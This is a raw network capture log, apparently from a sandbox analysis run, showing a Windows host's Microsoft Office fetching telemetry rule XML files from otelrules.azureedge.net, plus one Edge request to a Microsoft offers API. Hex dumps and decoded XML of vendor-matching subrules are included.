2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a7e44230-001e-0082-7dd5-335880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968px8v7hC1EWR08ng0000000560000000003ftc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 642c93e8-001e-0014-7cd5-335151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968l4kp6hC1EWRe88400000005600000000030gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 1815e533-001e-0028-01d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114018Z-174f7845968qj8jrhC1EWRh41s00000004qg000000009fv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 7cd113ea-e01e-0052-21d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114020Z-174f7845968vqt9xhC1EWRgten00000004w00000000072yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 63eb2845-501e-00a3-1dd5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114020Z-174f7845968t42glhC1EWRa36w00000004k00000000070p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b80249cf-101e-0017-2bd5-3347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114020Z-174f7845968jrjrxhC1EWRmmrs00000004wg00000000a761 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bdd7469a-701e-0053-5fd5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114020Z-174f7845968vqt9xhC1EWRgten000000050g0000000016x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 22e15e04-b01e-0070-3ed5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114020Z-174f7845968xlwnmhC1EWR0sv800000004rg0000000042u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49787	94.245.104.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:21 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:23 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 11 Nov 2024 11:40:23 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 77d57460-901e-0083-6dd5-33bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968n2hr8hC1EWR9cag00000004mg000000001a6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d9045dfb-101e-00a2-06d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968n2hr8hC1EWR9cag00000004mg000000001a6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c8358f32-201e-005d-77d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968t42glhC1EWRa36w00000004hg000000007yt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:22 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 01111fca-d01e-002b-41d5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114022Z-174f7845968glpgnhC1EWR7uec0000000510000000005wd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
